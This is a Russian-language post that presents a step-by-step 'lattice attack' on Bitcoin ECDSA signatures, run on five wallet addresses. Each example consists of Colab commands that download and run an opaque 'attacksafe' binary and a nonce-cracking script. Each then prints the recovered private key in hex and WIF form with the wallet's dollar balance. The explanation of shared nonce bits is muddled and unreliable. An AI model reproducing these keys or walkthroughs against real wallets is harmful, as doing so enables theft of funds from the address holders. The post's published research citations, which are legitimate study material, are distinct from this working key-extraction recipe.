LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA
В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA
.
Исходя из прошлой статьи, где за полиному мы брали 128 bits
и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits
.
Все что нам нужно это решить проблему скрытых чисел.

В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.
За теоретическую основу мы будем брать материалы:
“Lattice Attack on Bitcoin”
Рассмотрим пример с Биткоин Адресом:
19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

RawTX

"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................
Перейдем на официальный сайт: https://colab.research.google.com
Выберем опцию “Upload notebook”
![]()
Загрузим файл: LATTICE_ATTACK_249bits.ipynb
![]()
СкачаемHEX
-данные через утилитуwget
и сохраним в файл: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt

Запустим код и получим нужные нам биты
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

Чтобы реализовать атаку мы воспользуемся программным обеспечение
Права доступа:
!chmod +x attacksafe
ls

Применение:
!./attacksafe -help

-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
!./attacksafe -version

Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]
"ATTACKSAFE SOFTWARE"
включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list

Выберем -tool: lattice_attack
Чтобы получить определенные
HEX
значениеR,S,Z
к подписиECDSA
, мы ранее добавили данныеRawTX
через утилитуecho
в текстовый документ и сохранили как файлRawTX.txt

Запустим -tool lattice_attack
используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv
мы установим SageMath


Ранее мы опубликовали статью, скачаем
tar-file
: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

Перейдем по каталогу:
cd SageMath/
ls

Запустим
Python-script:
relocate-once.py по команде:
!python3 relocate-once.py

Переместим
"AttackSafe"
и"SignatureRSZ.csv"
в папку"SageMath"
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

ls

Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту
wget
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py

Теперь запустим
SageMath
по команде:
!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате

PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:

Мы получили 79 одинаковых первоначальных bits от
249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE
в формате HEX
нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Установим модуль
bitcoin
!pip3 install bitcoin

Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл:
PrivateKeyAddr.txt

9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
Откроем bitaddress и проверим:
ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z



BALANCE: $ 1015.58
Рассмотрим остальные примеры:
№2
Рассмотрим пример №2 с Биткоин Адресом:
1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af

RawTX

"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................
Удалим файлы с первого примера:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Скачаем
HEX
-данные через утилитуwget
и сохраним в файл: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt

Запустим код и получим нужные нам биты
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

Запустим -tool lattice_attack
используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим
SageMath
по команде:
!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате

PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:

Мы получили 79 одинаковых первоначальных bits от
249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE
в формате HEX
нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл:
PrivateKeyAddr.txt

Откроем bitaddress и проверим:
ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC
HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z



BALANCE: $ 999.10
Рассмотрим остальные примеры:
№3
Рассмотрим пример №3 с Биткоин Адресом:
18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76

RawTX

"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................
Удалим файлы со второго примера:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Скачаем
HEX
-данные через утилитуwget
и сохраним в файл: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt

Запустим код и получим нужные нам биты
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

Запустим -tool lattice_attack
используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим
SageMath
по команде:
!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате

PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:

Мы получили 79 одинаковых первоначальных bits от
249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE
в формате HEX
нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл:
PrivateKeyAddr.txt

Откроем bitaddress и проверим:
ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU
HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz



BALANCE: $ 1023.25
№4
Рассмотрим пример №4 с Биткоин Адресом:
12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989

RawTX

"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................
Удалим файлы со второго примера:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Загрузим
HEX
-данные через утилитуecho
и сохраним в файл: RawTX.txtСкачаемHEX
-данные через утилитуwget
и сохраним в файл: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt

Запустим код и получим нужные нам биты
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

Запустим -tool lattice_attack
используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим
SageMath
по команде:
!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате

PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:

Мы получили 79 одинаковых первоначальных bits от
249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE
в формате HEX
нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл:
PrivateKeyAddr.txt

Откроем bitaddress и проверим:
ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898
HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor



BALANCE: $ 406.03
№5
Рассмотрим пример №5 с Биткоин Адресом:
1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791

RawTX

"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................
Удалим файлы со второго примера:
!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

Скачаем
HEX
-данные через утилитуwget
и сохраним в файл: RawTX.txt
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt

Запустим код и получим нужные нам биты
RawTX
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

Запустим -tool lattice_attack
используя программное обеспечение “ATTACKSAFE SOFTWARE”
!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack
и результат сохранился в файл SignatureRSZ.csv
Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

Запустим
SageMath
по команде:
!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры
249 bits 79 sign
python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

Откроем файл:
PrivateKey.txt
Мы получили приватный ключ к Биткоин Кошельку в HEX
формате

PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
Проверим POLYNONCE для каждой подписи ECDSA
Для этого воспользуемся кодом из GITHUB
Результат:

Мы получили 79 одинаковых первоначальных bits от
249
Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE
в формате HEX
нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл:
PrivateKeyAddr.txt

e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
Откроем bitaddress и проверим:
ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs
HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN



BALANCE: $ 995.39
Literature:
- Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego
- Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan
- Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice
- Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/CzaHitewN-4
Источник: https://cryptodeep.ru/lattice-attack-249bits

0 Comments
Recommended Comments
There are no comments to display.
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now